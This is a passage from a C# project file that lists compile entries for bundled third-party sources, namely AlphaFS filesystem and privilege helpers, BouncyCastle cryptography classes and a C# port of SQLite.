Class\\Path.GetFullPath.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetFullPathTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetInvalidFileNameChars.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetInvalidPathChars.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongFrom83ShortPath.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongFrom83ShortPathTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetLongPath.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetPathRoot.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRandomFileName.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRegularPath.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetRelativePath.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetShort83Path.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetShort83PathTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryName.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameWithoutRoot.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetSuffixedDirectoryNameWithoutRootTransacted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetTempFileName.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.GetTempPath.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.HasExtension.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.Helpers.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsLogicalDrive.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsLongPath.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsPathRooted.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsUncPath.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.IsValidName.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.LocalToUnc.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Path Class\\Path.RemoveTrailingDirectorySeparator.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Shell32.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Shell32Info.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyMoveProgressCallbackReason.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyMoveProgressResult.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\CopyOptions.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DeviceGuid.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DiGetClassFlags.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DirectoryEnumerationFilters.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DirectoryEnumerationOptions.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\DosDeviceAttributes.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\EncryptedFileRawMode.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ErrorMode.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ExtendedFileAttributes.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FileEncryptionStatus.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FileIdInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\FinalPathFormats.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\GetFullPathOptions.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\MoveOptions.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\PathFormat.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\ReparsePointTag.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SetupDiGetDeviceRegistryPropertyEnum.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\StreamAttribute.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\StreamId.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SymbolicLinkTarget.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Filesystem\\Structures, Enumerations\\SymbolicLinkType.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\NativeError.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\OperatingSystem.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Resources.Designer.cs\">\n      <AutoGen>True</AutoGen>\n      <DesignTime>True</DesignTime>\n      <DependentUpon>Resources.resx</DependentUpon>\n    </Compile>\n    <Compile Include=\"3rdParty\\AlphaFS\\Safe Handles\\SafeCmConnectMachineHandle.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Safe Handles\\SafeEncryptedFileRawHandle.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Safe Handles\\SafeFindFileHandle.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Safe Handles\\SafeFindVolumeHandle.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Safe Handles\\SafeFindVolumeMountPointHandle.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Safe Handles\\SafeGlobalMemoryBufferHandle.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Safe Handles\\SafeKernelTransactionHandle.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Safe Handles\\SafeLocalMemoryBufferHandle.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Safe Handles\\SafeNativeMemoryBufferHandle.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Safe Handles\\SafeSetupDiClassDevsExHandle.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Safe Handles\\SafeTokenHandle.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\CRC\\Crc32.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\CRC\\Crc64.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\CRC\\HashType.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\InternalPrivilegeEnabler.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.AdjustTokenPrivileges.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.Constants.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetNamedSecurityInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorControl.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorDacl.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorGroup.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorLength.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorOwner.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityDescriptorSacl.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetSecurityInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.GetTokenInformation.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LocalFree.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LookupPrivilegeDisplayName.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.LookupPrivilegeValue.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.OpenProcessToken.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.SetNamedSecurityInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Methods\\NativeMethods.SetSecurityInfo.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Other\\Luid.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Other\\SECURITY_DESCRIPTOR_CONTROL.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Other\\SECURITY_INFORMATION.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Other\\SE_OBJECT_TYPE.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_ELEVATION_TYPE.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_INFORMATION_CLASS.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Native Other\\TOKEN_PRIVILEGES.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\Privilege.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\PrivilegeEnabler.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\ProcessContext.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Security\\SecurityAttributes.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Utils.cs\" />\n    <Compile Include=\"3rdParty\\AlphaFS\\Win32Errors.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1Encodable.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1EncodableVector.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1Exception.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1InputStream.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1Null.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1Object.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1OctetString.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1OctetStringParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1OutputStream.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1ParsingException.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1Sequence.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1SequenceParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1Set.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1SetParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1StreamParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1TaggedObject.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1TaggedObjectParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\Asn1Tags.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\BerApplicationSpecific.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\BerApplicationSpecificParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\BerBitString.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\BerOctetString.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\BerOctetStringParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\BerOutputStream.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\BerSequence.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\BerSequenceParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\BerSet.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\BerSetParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\BerTaggedObject.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\BerTaggedObjectParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\ConstructedOctetStream.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\cryptopro\\CryptoProObjectIdentifiers.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DefiniteLengthInputStream.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerApplicationSpecific.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerBitString.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerBmpString.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerBoolean.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerEnumerated.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerExternal.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerExternalParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerGeneralizedTime.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerGeneralString.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerGraphicString.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerIA5String.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerInteger.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerNull.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerNumericString.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerObjectIdentifier.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerOctetString.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerOctetStringParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerOutputStream.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerPrintableString.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerSequence.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerSequenceParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerSet.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerSetParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerStringBase.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerT61String.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerTaggedObject.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerUniversalString.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerUtcTime.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerUtf8String.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerVideotexString.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\DerVisibleString.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\gm\\GMObjectIdentifiers.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\IAsn1ApplicationSpecificParser.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\IAsn1Choice.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\IAsn1Convertible.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\IAsn1String.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\IndefiniteLengthInputStream.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\LimitedInputStream.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\misc\\MiscObjectIdentifiers.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\nist\\NistObjectIdentifiers.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\OidTokenizer.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\pkcs\\PkcsObjectIdentifiers.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\rosstandart\\RosstandartObjectIdentifiers.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\teletrust\\TeleTrusTObjectIdentifiers.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\ua\\UAObjectIdentifiers.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\asn1\\util\\FilterStream.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\CryptoException.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\Check.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\Blake2bDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\Blake2sDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\CSHAKEDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\DSTU7564Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\GeneralDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012_256Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012_512Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\KeccakDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\LongDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\MD2Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\MD4Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\MD5Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\NonMemoableDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\NullDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD128Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD160Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD256Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD320Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\Sha1Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\Sha224Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\Sha256Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\Sha384Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\SHA3Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\Sha512Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\Sha512tDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\ShakeDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\ShortenedDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\SkeinDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\SkeinEngine.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\SM3Digest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\TigerDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\WhirlpoolDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\digests\\XofUtils.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\engines\\AesEngine.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\engines\\Gost28147Engine.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\engines\\ThreefishEngine.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\IBlockCipher.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\InvalidCipherTextException.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\IXof.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\modes\\GcmBlockCipher.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\modes\\GcmUtilities.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\BasicGcmExponentiator.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\IGcmExponentiator.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\IGcmMultiplier.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\Tables4kGcmMultiplier.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\modes\\IAeadBlockCipher.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\modes\\IAeadCipher.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\OutputLengthException.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\parameters\\AeadParameters.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\parameters\\KeyParameter.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\parameters\\ParametersWithIV.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\parameters\\ParametersWithSBox.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\parameters\\SkeinParameters.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\parameters\\TweakableBlockCipherParameters.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\prng\\CryptoApiRandomGenerator.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\prng\\DigestRandomGenerator.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\prng\\IRandomGenerator.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\util\\Arrays.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\util\\Longs.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\util\\Pack.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\util\\Platform.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\crypto\\util\\Times.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\DataLengthException.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\ICipherParameters.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\IDigest.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\math\\BigInteger.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\math\\raw\\Bits.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\math\\raw\\Interleave.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\oiw\\OiwObjectIdentifiers.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\security\\DigestUtilities.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\security\\SecureRandom.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\security\\SecurityUtilityException.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\collections\\CollectionUtilities.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\collections\\ISet.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableDictionary.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableDictionaryProxy.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableList.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableListProxy.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableSet.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableSetProxy.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\date\\DateTimeUtilities.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\encoders\\Hex.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\encoders\\HexEncoder.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\encoders\\IEncoder.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\Enums.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\IMemoable.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\io\\BaseInputStream.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\io\\StreamOverflowException.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\io\\Streams.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\MemoableResetException.cs\" />\n    <Compile Include=\"3rdParty\\BouncyCastle\\util\\Strings.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\SQLiteDatabase.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\SQLiteVdbe.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\alter_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\analyze_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\attach_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\auth_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\backup_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\bitvec_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\btmutex_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\BtreeInt_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\btree_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\Btree_h.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\build_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\callback_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\complete_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\date_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\Delagates.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\delete_c.cs\" />\n    <Compile Include=\"3rdParty\\SQLite\\src\\expr_c.cs\" />\n    <Compile 